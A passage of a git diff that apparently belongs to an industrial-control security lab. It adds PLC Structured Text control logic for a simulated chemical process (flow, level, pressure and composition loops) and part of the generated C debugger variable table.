pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, 